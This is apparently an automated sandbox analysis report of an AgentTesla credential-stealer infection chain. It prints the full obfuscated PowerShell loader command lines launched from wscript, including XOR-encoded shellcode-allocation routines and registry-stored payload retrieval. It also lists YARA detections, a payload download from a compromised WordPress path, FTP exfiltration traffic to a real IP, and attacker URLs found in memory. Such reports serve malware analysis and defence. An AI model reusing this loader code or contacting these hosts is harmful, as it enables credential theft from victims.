BExECa8PrCSw4TeDFo7IdDFe6PaCLeDSoCVi4DiCRi9FaFGe8Sq9TuFHo9MaFGoEsa2FuCAl0LeDSj1InEHo1CoCSk0BoCPa9UnCAf0FuCpa2SpCCy4AfDup1BeCOv0FjEgu3TrCOlAUnDNo7acEKi3JoDWa0NaCDaBBaCSe6PrDSa1BeCfrCHiCudATrCSoBMyFPe5OvCMeAUpCGaCVeCopBPaDLu1UsCde0FlDhu7Sv8VeDBe8UnDBuCUg3GuCAfEHyDPi5Ur8Ne5ls8Mb1FoFAk0StCkuBWoCAa6TrCBaAUrDDr0MoDFs5MeCJu9GiCUn0Di8Of5Gt8Sk1BiEPr2DdCUdDHyCKo0UnCEu2ExCAeCSeDBl6ChCTiDQu9Dr1Ab8TeCPr8Cr9Go8As5Pl8OvDDiEPe2SpEIn1ScFEn1Wo8Va5KaETr5Ca8OmDGiFstEinEJaCUnCScBDiDUr1syFAn5WoDSt1KoDbo7ReFPr8Ln8Co9eq8Pr5ImFPrEHyFAc0ExEReCAmCsiBCoDFr1Ps9Be6Pi9Ti7VaFMi8Pa8Ov9Po8Mu5BlFPeELsFDe0MoEapCHvCAmBBlDOp1Ek9de6Ge9Un7TeFTi8Op8Ex9In8Hv5HaFSnEGaFHj0exEFiCcoCSyBSwDFl1Vi9St6St9St7RiFNr8Tm8BiCLo8Sk5Un8BaDLaFTrEReEdoCStCBiBMaDTr1AcFSi5BoDDe1NiDCo7BlFSa8Hy8SpCSe8ArCBi8EdCHi'Tr;Fe&In(na`$InGArhCaeungiriElsUnhSh7Ju)Om Di`$AmHeeoFoePrrAdeRusVi6Po;Fi`$ReDOkmEdnEniMonSkgMasFopPrrCyoLajEgeBukBetTrebarCo In=Ch FofPrkBapha Sc`$ReGGehIneNagIliPesNehPr5Un Re`$HuGObhBieStgKviNosFohPs6Re;La`$EkHreoFoeTirBoeGasPu7Sv Re=Ch KrSTemPreIkrUntVoeGenPesDibToaUtrSanHjsAp0Fo Or'Ri8mi1GgFHd6PrDSa0MeCSyEPaCseEInCde0CiDRh7KrCCoALiDGe3FiCfr0ShDEn7HyDTo1DrDIn7BeCCeEReCKaEReCSo0SkDti1AfDAf6Ta9Ov6Le8Ud5Et9Fi8Sp8ka5Dy8Yo1JoFSp2FoCSy0HoDIn7UlCMa0BoDSi7reCSe4DaDTe1Fl8TiBVaEIfCCrCKaBTrDPo3opCUvAHeCLaESeCSq0Un8TrDUnFUnEOrEReCBaCPaBvaDRe1beFNo5KoDPo1RuDEl7ViFBu8Fa9PsFEt9TeFToFcoFSpCKo0OvDSc7BrCOuABa8Ur9Om8Se5Un9An6Re9Fa0It9LtCMe8Se9Sl8Fl5Me9Pe5SkDUnDFe9Va6Pa9Kb5Kl9Bo5Ha9Fo5Pu8Sv9Bj8St5Un9Ci5PuDLaDQu9Co1Po9Ud5Va8TuCTi'Ch;an&de(Fa`$UnGCohAneLagOpiThsObhUn7Sn)Al Di`$GaHFroEneHorVgeTasSt7Si;Ha`$TiHOvoLaePurPaeGasKo8Ti In=Ha DrSKumNeeHerHytSheDenHesHobEkaArrPenRisDi0Co Af'Pe8St1UnEPa6CrCstABeDIn7seDPa7ClCWhAKeCTy7NiCSe7KvCMeAExDth7BaCDu0UnCSe0Sp8An5Ga9Pr8Ud8Om5Su8ga1QuFFo2leCSe0TeDGa7BoCRa0BeDWa7SpCSk4IgDUn1Ca8RiBafEKrCUtCJuBSuDTi3PrCRuAAsCTrEEuCSk0Un8DeDMoFSoEKuEEsCOmCCaBSuDDo1CoFBi5UbDFl1MoDUn7InFIn8He9HaFFo9DeFmaFChFErCPr0SaDPo7AlCFrAWa8Bi9Ta8Ch5Ap9Sl5KbDKiDPh9Te4Fe9No5re9Bn5Lg9Sl5Ow9An5Sk9Gy5Es8Am9Va8Su5Au9Bu5etDLoDPr9Pa6Or9Af5Fi9Ru5Ca9Ca5Uu8Si9Sp8At5Ha9Un5KaDBaDTu9op1De8tiCFl'Re;Ko&Sh(li`$NaGAnhPeePrgCoiHusSphUn7Sa)Ro Hi`$TeHstoSpeHirLaeBesSa8po;Un`$PrCRuaSyrNotLawVorThiStgCahArtUniGenFlgBe=Pa(SmGUneIntCo-OpIKltpeeTemWaPUnrSooInpDoeAgrSotKayBa Ma-SePbeaSptRehOx Bi'GoHPrKNeCPlUBi:Fo\LyPBasUdeInuRadSaaFemhobGauOnlLoaTpcParStualmSk\CykVeoRenFesXmtSqiAntSeuSttTaiUtoLunLseJelFe'Ge)Di.WaBTijHgfHesFo;Ly`$InHFloHoeMerSkeAasAn9Bl Op=Pa HoSJvmBreNerSktNoeJanKrsPabHeaTrrronYosUn0Af St'Ha8Fo1PaECuDSwCMeAFiCHe0AcDCe7ReCSe0MiDSt6Rg8Wa5Af9Mu8Ob8Pi5NoFVaEInFIn6UnDseCTuDSp6DaDWe1ChCNu0MiCGu8Ku8DeBNeEUn6AlCPlADeCSmBExDCh3PeCEv0SeDKa7crDHi1ToFTe8Sk9RdFAn9PhFFrESa3DrDAn7CeCImAHaCAn8MaENo7unCFo4UnDsk6BaCFe0Re9Ti3Fl9Fj1KaFAn6BuDSy1EnDDo7FrCLaCPoCBlBSkCPr2Re8EnDsy8Ln1AdEPi6EvCLa4kjDSl7TaDPa1OtDFi2PsDLa7NyCVeCSaCMu2SkCBeDBuDji1SkCEfCviCJaBSpCPr2Op8TaCBe'Bu;ha&He(Mi`$esGAnhNoeBlgChiShsLohFo7Sh)Ja St`$WiHMeoLaeBarBleHasCo9dv;Ty`$FrCGoagerSotFowDerLaiHagmihbetkoiPenSsgAn0Bn Ba=Ca ChSSamLoeAcrNatdueApnpasSabGaaGorBonSvsPr0Ya Bi'PoFCeEElFag6EkDDiCRaDCo6TeDAl1OvCvi0MeCRe8Sk8UdBAlFEl7FoDBl0CoCAaBAnDTr1PrCTrCFoCHe8TiCHu0or8UnBHrEstCKeCCyBTeDBo1VrCIn0meDPu7AiCItAPrDTu5RuFBe6FuCDe0FlDAn7OuDSl3LeCMaCPiCDi6DiCSo0UnDBo6Ve8syBBrEMe8EpCZo4StDSe7SaDSl6PeCElDDeCEl4HeCMe9KoFPr8Op9unFWo9GlFBlENu6FoCPaASpDma5ToDRuCSt8FlDAu8Pa1GaEOuDcuCEkACaCBu0IvDLi7KrCEl0GeDAb6Va8Is9Fa8Pa5Ko9To5Pa8Ol9Hy8Sm5Se8Ta5Fu8Be1DrFFu6MdDOv0klCUnEDiCUnEArCLi0PlDTe7trCGiASlDBa3AgCSt0puDAr7SeDCe1baDPy7prCKlEfeCJuEElCRd0TaDBa1GiDUd6Af9dr6Pe8Fe9Ja8af5Ga9Ka6as9Im0Po9AnCPa8MaCOr'in;Tr&An(Ud`$GaGWhhFleFlgReiOpsSchSa7Ov)sp En`$PrCPraBerRetSuwLerSmiUngPrhHatUniDinIjgSt0Ov;pr`$NeNMaoSonOscStoStnCrdGoiEnmEneblnSytGo2De=Ub`$LiHUloTreDirSaeFosUn.WecFioLauAnnOutMa-pi3Sm5Re9Ur;Sk`$paCBeaTorFotExwSirYaiSngmihGatKoiBankngTr1Em Ba=Bu UnSMomSgeSurRetRueFanCasTwbAmaFrrGanSusBi0St ar'AuFKoELoFev6AsDHyCNoDNa6UdDNi1BaCSt0WiCMu8Ve8ClBmuFPy7UnDBu0HyCemBStDPe1GrCopCpaCCa8CaCSc0Re8LsBHuESaCWoCPlBDiDHa1CoCpa0HiDMy7NoCSpApaDUt5CaFBo6DiCAn0MaDDe7SeDFi3UnCreCHuCBi6sqCPl0MoDhi6Ou8BuBSaESe8ThCPr4ViDKu7SnDCy6BeCNoDLaCCh4MiCFe9NiFPa8An9TaFPo9KaFReEFo6SeCWhADoDOu5NoDHoCPe8ReDTr8Sp1DrEvaDNeCbyAFoCCa0spDAs7GiCSp0UnDTo6Sk8fj9Sa8In5Ge9Sa6Fe9Ur0Th9ThCDk8cu9Co8Ba5Ov8Su1LoEDe6ruCOrApiDkl7CoDDe7SuCbuACiCHy7afCHi7GaCLuAEkDTu7UnCPi0PrCEk0Pa8Pi9Un8La5st8ud1SkEAnBChCEnASkCDoBTmCVa6ViCTeAJuCFaBVaCSt1KaCunCKiCaf8MoCMa0SeCMeBPlDSh1Et9be7In8RoCHa'Vo;Mo&Br(Tr`$FlGRehReeAigFeiTesgahPh7Wh)Fo Sh`$TeCcoaInrRetUdwForEfistgYahIbtspiUdnFagSo1St;Ed`$FrCPraNorSmtPewStrKliBdgKohCotEniPonFigAn2ba St=do stSPrmUneimrRetAdeClnStsKobBuadirDinHosDi0Tr to'Su8Br1AnCRoEfjCNo9VuCSa4MiDZo7StCFl2UkCWeFPrCSkAStDSl7WiCUn1BoCMi0Br8Bn5He9Sk8Vi8Ka5BaFInEBlFAj6InDDoCudDCi6AnDSl1InCSt0InCSy8Le8AyBTiFce7AsDNo0DeCImBAlDNo1NiCBiCSlCTi8VoCSe0Fu8ReBGaEnoCDeCOmBChDMe1TeCMa0BaDus7KeCPeAWaDFe5clFFo6BuCLa0ReDDe7NoDJe3StCHyCAlCSt6SkCDi0BeDMe6bl8AnBkoEEt8AfCAc4TiDBa7DrDSt6AhCSkDGiCLi4NoCFu9AsFSp8uj9ReFDi9RoFSuEBa2ApCKo0unDGr1HiEFi1GrCGu0diCPe9KoCJa0DeCFr2ReCUn4phDmu1DaCEp0MiEDe3ubCJoAReDbl7vaEma3SkDBa0ToCPsBSkCTy6reDPo1GhCDeCMaCTeASkCTiBUdFFo5UnCWeAEuCHoCLaCTrBAnDEr1AlCMa0ThDCh7Hi8coDfo8un1GeFTr6KeDAd0PaCPeESkCBoEhaCEk0noDRe7AeCPeAMoDGu3UnCTe0DiDim7RaDCa1HeDud7PeCTiEInCCoESiCMo0NoDSh1JoDBu6Oo9Vi6Ha8Cr9Ro8An5Tu8UvDinEKo2VuEAr1ouFLe1De8Co5PlESy5Se8CaDtaFDyEFdERvCBaCPhBBgDTo1PuFKa5UnDla1UlDJo7ToFSu8An8Sv9UnFSpEMeEDeCRaCAfBKoDAp1AfFVe5beDUn1UnDAl7DsFSc8Du8CoCLo8Ca5Kv8SnDFrFCuEElFQu3HeCPaAPrCRoCTrCIn1HaFTa8Ma8BiCIt8GuCOv8AbCMu'He;Re&St(Gr`$SpGSihBeePrgSpiFasTehJu7Ga)Gr Un`$ChCtralerHotRewUnrTeibigUnhEstSkiNonStgGa2gu;Ma`$BiCPiaUnrUntOuwAdrUniUngElhTitDiiStnMogDa3Fl Br=Li TiSCemSaeAsrBotmaeRenDesgebkyaMorFlnStsHj0Sy Mo'Gr8Wi1saCReEfiCTy9TuCTi4TiDpe7riCDm2TeCOpFMaCFrAKrDSe7GrCKr1CiCIn0Le8BaBTaEMiCcoCKrBKeDFa3DiCBrAkaCTrEBrCFu0Hj8DiDAp8Go1LoEje6ReCOmAVeDKn7FoDBo7ReCGbAOnCDe7SlCOp7HaCRaAFeDQu7PsCMe0GrCmy0Sk8Si9Ko8Et1MaEac1NoCPl8BlCBrBTbCGaCFoCVrBCoCUn2BiDPs6HeDBr5ZoDAc7WhCChACoCSpFLsCGh0BjCUsECoDLa1stCma0inDSp7Gl8SaCMa'Di;Ph&Bi(Al`$DeGAmhGreGigSkiAmsFohSa7Me)Mo To`$FaCShaMarSvtFlwDirKliBrgMahcitnaiTrnFogSu3Ta#Ga;""";;Function Cartwrighting9 { param([String]$Regionsplanlovs); For($Klistringer=2; $Klistringer -lt $Regionsplanlovs.Length-1; $Klistringer+=(2+1)){ $Smertensbarns = $Smertensbarns + $Regionsplanlovs.Substring($Klistringer, 1); } $Smertensbarns;}$talose0 = Cartwrighting9 'CeIFoEReXPr ';$talose1= Cartwrighting9 $Vildmnd;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $talose1 ;}else{.$talose0 $talose1;} MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8364 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Smertensbarns0 { param([String]$Regionsplanlovs); $Delintervallernes = New-Object byte[] ($Regionsplanlovs.Length / 2); For($Klistringer=0; $Klistringer -lt $Regionsplanlovs.Length; $Klistringer+=2){ $Delintervallernes[$Klistringer/2] = [convert]::ToByte($Regionsplanlovs.Substring($Klistringer, 2), 16); $Delintervallernes[$Klistringer/2] = ($Delintervallernes[$Klistringer/2] -bxor 165); } [String][System.Text.Encoding]::ASCII.GetString($Delintervallernes);}$Forskningsresultaters0=Smertensbarns0 'F6DCD6D1C0C88BC1C9C9';$Forskningsresultaters1=Smertensbarns0 'E8CCC6D7CAD6CAC3D18BF2CCCB96978BF0CBD6C4C3C0EBC4D1CCD3C0E8C0D1CDCAC1D6';$Forskningsresultaters2=Smertensbarns0 'E2C0D1F5D7CAC6E4C1C1D7C0D6D6';$Forskningsresultaters3=Smertensbarns0 'F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3';$Forskningsresultaters4=Smertensbarns0 'D6D1D7CCCBC2';$Forskningsresultaters5=Smertensbarns0 'E2C0D1E8CAC1D0C9C0EDC4CBC1C9C0';$Forskningsresultaters6=Smertensbarns0 'F7F1F6D5C0C6CCC4C9EBC4C8C08985EDCCC1C0E7DCF6CCC28985F5D0C7C9CCC6';$Forskningsresultaters7=Smertensbarns0 'F7D0CBD1CCC8C08985E8C4CBC4C2C0C1';$Forskningsresultaters8=Smertensbarns0 'F7C0C3C9C0C6D1C0C1E1C0C9C0C2C4D1C0';$Forskningsresultaters9=Smertensbarns0 'ECCBE8C0C8CAD7DCE8CAC1D0C9C0';$Ghegish0=Smertensbarns0 'E8DCE1C0C9C0C2C4D1C0F1DCD5C0';$Ghegish1=Smertensbarns0 'E6C9C4D6D68985F5D0C7C9CCC68985F6C0C4C9C0C18985E4CBD6CCE6C9C4D6D68985E4D0D1CAE6C9C4D6D6';$Ghegish2=Smertensbarns0 'ECCBD3CACEC0';$Ghegish3=Smertensbarns0 'F5D0C7C9CCC68985EDCCC1C0E7DCF6CCC28985EBC0D2F6C9CAD18985F3CCD7D1D0C4C9';$Ghegish4=Smertensbarns0 'F3CCD7D1D0C4C9E4C9C9CAC6';$Ghegish5=Smertensbarns0 'CBD1C1C9C9';$Ghegish6=Smertensbarns0 'EBD1F5D7CAD1C0C6D1F3CCD7D1D0C4C9E8C0C8CAD7DC';$Ghegish7=Smertensbarns0 'ECE0FD';$Ghegish8=Smertensbarns0 'F9';function fkp {Param ($Upgrown, $Depressionsperioder) ;$Hoeres0 =Smertensbarns0 '81EED7C8C8C0D7C0CB8598858DFEE4D5D5E1CAC8C4CCCBF89F9FE6D0D7D7C0CBD1E1CAC8C4CCCB8BE2C0D1E4D6D6C0C8C7C9CCC0D68D8C85D985F2CDC0D7C088EAC7CFC0C6D185DE8581FA8BE2C9CAC7C4C9E4D6D6C0C8C7C9DCE6C4C6CDC08588E4CBC18581FA8BE9CAC6C4D1CCCACB8BF6D5C9CCD18D81E2CDC0C2CCD6CD9D8CFE8894F88BE0D4D0C4C9D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6958C85D88C8BE2C0D1F1DCD5C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6948C';&($Ghegish7) $Hoeres0;$Hoeres5 = Smertensbarns0 '81E6CDCCC9C985988581EED7C8C8C0D7C0CB8BE2C0D1E8C0D1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6978985FEF1DCD5C0FEF8F885E58D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D696898581E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6918C8C';&($Ghegish7) $Hoeres5;$Hoeres1 = Smertensbarns0 'D7C0D1D0D7CB8581E6CDCCC9C98BECCBD3CACEC08D81CBD0C9C98985E58DFEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3F88DEBC0D288EAC7CFC0C6D185F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C38D8DEBC0D288EAC7CFC0C6D185ECCBD1F5D1D78C89858D81EED7C8C8C0D7C0CB8BE2C0D1E8C0D1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6908C8C8BECCBD3CACEC08D81CBD0C9C98985E58D81F0D5C2D7CAD2CB8C8C8C8C898581E1C0D5D7C0D6D6CCCACBD6D5C0D7CCCAC1C0D78C8C';&($Ghegish7) $Hoeres1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Nondecorously,[Parameter(Position = 1)] [Type] $Coeliomyalgia = [Void]);$Hoeres2 = Smertensbarns0 '81EDC4DCCBC0D6859885FEE4D5D5E1CAC8C4CCCBF89F9FE6D0D7D7C0CBD1E1CAC8C4CCCB8BE1C0C3CCCBC0E1DCCBC4C8CCC6E4D6D6C0C8C7C9DC8D8DEBC0D288EAC7CFC0C6D185F6DCD6D1C0C88BF7C0C3C9C0C6D1CCCACB8BE4D6D6C0C8C7C9DCEBC4C8C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D69D8C8C8985FEF6DCD6D1C0C88BF7C0C3C9C0C6D1CCCACB8BE0C8CCD18BE4D6D6C0C8C7C9DCE7D0CCC9C1C0D7E4C6C6C0D6D6F89F9FF7D0CB8C8BE1C0C3CCCBC0E1DCCBC4C8CCC6E8CAC1D0C9C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D69C898581C3C4C9D6C08C8BE1C0C3CCCBC0F1DCD5C08D81E2CDC0C2CCD6CD95898581E2CDC0C2CCD6CD948985FEF6DCD6D1C0C88BE8D0C9D1CCC6C4D6D1E1C0C9C0C2C4D1C0F88C';&($Ghegish7) $Hoeres2;$Hoeres3 = Smertensbarns0 '81EDC4DCCBC0D68BE1C0C3CCCBC0E6CACBD6D1D7D0C6D1CAD78D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6938985FEF6DCD6D1C0C88BF7C0C3C9C0C6D1CCCACB8BE6C4C9C9CCCBC2E6CACBD3C0CBD1CCCACBD6F89F9FF6D1C4CBC1C4D7C1898581EBCACBC1C0C6CAD7CAD0D6C9DC8C8BF6C0D1ECC8D5C9C0C8C0CBD1C4D1CCCACBE3C9C4C2D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6928C';&($Ghegish7) $Hoeres3;$Hoeres4 = Smertensbarns0 '81EDC4DCCBC0D68BE1C0C3CCCBC0E8C0D1CDCAC18D81E2CDC0C2CCD6CD97898581E2CDC0C2CCD6CD96898581E6CAC0C9CCCAC8DCC4C9C2CCC4898581EBCACBC1C0C6CAD7CAD0D6C9DC8C8BF6C0D1ECC8D5C9C0C8C0CBD1C4D1CCCACBE3C9C4C2D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6928C';&($Ghegish7) $Hoeres4;$Hoeres5 = Smertensbarns0 'D7C0D1D0D7CB8581EDC4DCCBC0D68BE6D7C0C4D1C0F1DCD5C08D8C';&($Ghegish7) $Hoeres5 ;}$Uncouple = Smertensbarns0 'CEC0D7CBC0C99697';$Hoeres6 = Smertensbarns0 '81F2C0D7C0D7C4D1859885FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE2C0D1E1C0C9C0C2C4D1C0E3CAD7E3D0CBC6D1CCCACBF5CACCCBD1C0D78D8DC3CED58581F0CBC6CAD0D5C9C08581E2CDC0C2CCD6CD918C89858DE2E1F185E58DFEECCBD1F5D1D7F88985FEF0ECCBD19697F88985FEF0ECCBD19697F88985FEF0ECCBD19697F88C858DFEECCBD1F5D1D7F88C8C8C';&($Ghegish7) $Hoeres6;$Dmningsprojekter = fkp $Ghegish5 $Ghegish6;$Hoeres7 = Smertensbarns0 '81F6D0CECEC0D7CAD3C0D7D1D7CECEC0D1D69685988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCBD1F5D1D7F89F9FFFC0D7CA898596909C898595DD96959595898595DD91958C';&($Ghegish7) $Hoeres7;$Hoeres8 = Smertensbarns0 '81E6CAD7D7CAC7C7CAD7C0C085988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCBD1F5D1D7F89F9FFFC0D7CA898595DD949595959595898595DD96959595898595DD918C';&($Ghegish7) $Hoeres8;$Cartwrighting=(Get-ItemProperty -Path 'HKCU:\Pseudambulacrum\konstitutionel').Bjfs;$Hoeres9 = Smertensbarns0 '81EDCAC0D7C0D6859885FEF6DCD6D1C0C88BE6CACBD3C0D7D1F89F9FE3D7CAC8E7C4D6C09391F6D1D7CCCBC28D81E6C4D7D1D2D7CCC2CDD1CCCBC28C';&($Ghegish7) $Hoeres9;$Cartwrighting0 = Smertensbarns0 'FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE6CAD5DC8D81EDCAC0D7C0D689859589858581F6D0CECEC0D7CAD3C0D7D1D7CECEC0D1D696898596909C8C';&($Ghegish7) $Cartwrighting0;$Noncondiment2=$Hoeres.count-359;$Cartwrighting1 = Smertensbarns0 'FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE6CAD5DC8D81EDCAC0D7C0D6898596909C898581E6CAD7D7CAC7C7CAD7C0C0898581EBCACBC6CACBC1CCC8C0CBD1978C';&($Ghegish7) $Cartwrighting1;$Cartwrighting2 = Smertensbarns0 '81CEC9C4D7C2CFCAD7C1C0859885FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE2C0D1E1C0C9C0C2C4D1C0E3CAD7E3D0CBC6D1CCCACBF5CACCCBD1C0D78D81F6D0CECEC0D7CAD3C0D7D1D7CECEC0D1D69689858DE2E1F185E58DFEECCBD1F5D1D7F889FEECCBD1F5D1D7F88C858DFEF3CACCC1F88C8C8C';&($Ghegish7) $Cartwrighting2;$Cartwrighting3 = Smertensbarns0 '81CEC9C4D7C2CFCAD7C1C08BECCBD3CACEC08D81E6CAD7D7CAC7C7CAD7C0C08981E1C8CBCCCBC2D6D5D7CACFC0CED1C0D78C';&($Ghegish7) $Cartwrighting3# MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

CasPol.exe (PID: 392 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CasPol.exe PID: 392	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: Joe Sandbox View

IP Address: 185.31.121.136 185.31.121.136

Source: global traffic

HTTP traffic detected: GET /wp-admin/ZCaVuIfIpDLfuryX16 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: b3solutionscws.comCache-Control: no-cache

Source: unknown

FTP traffic detected: 185.31.121.136:21 -> 192.168.11.20:49825 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 50 allowed.220-Local time is now 16:50. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ftp://ftp.mcmprint.netnoffice
Source: CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://OowQOv.com
Source: CasPol.exe, 00000007.00000002.6650313755.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b3solutionscws.com/wp-admin/ZCaVuIfIpDLfuryX16
Source: CasPol.exe, 00000007.00000002.6650313755.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://b3solutionscws.com/wp-admin/ZCaVuIfIpDLfuryX16po
Source: powershell.exe, 00000002.00000003.2155125374.0000026AAE6D5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2457016446.0000026AAE735000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000002.00000002.2456250636.0000026AAE70A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000003.2155125374.0000026AAE6D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 00000007.00000002.6650870632.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000002.00000002.2164704518.0000026A961B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2164704518.0000026A961B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wNUxderhdqerb.org
Source: CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

DNS traffic detected: queries for: b3solutionscws.com

Source: global traffic

HTTP traffic detected: GET /wp-admin/ZCaVuIfIpDLfuryX16 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: b3solutionscws.comCache-Control: no-cache

System Summary

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il 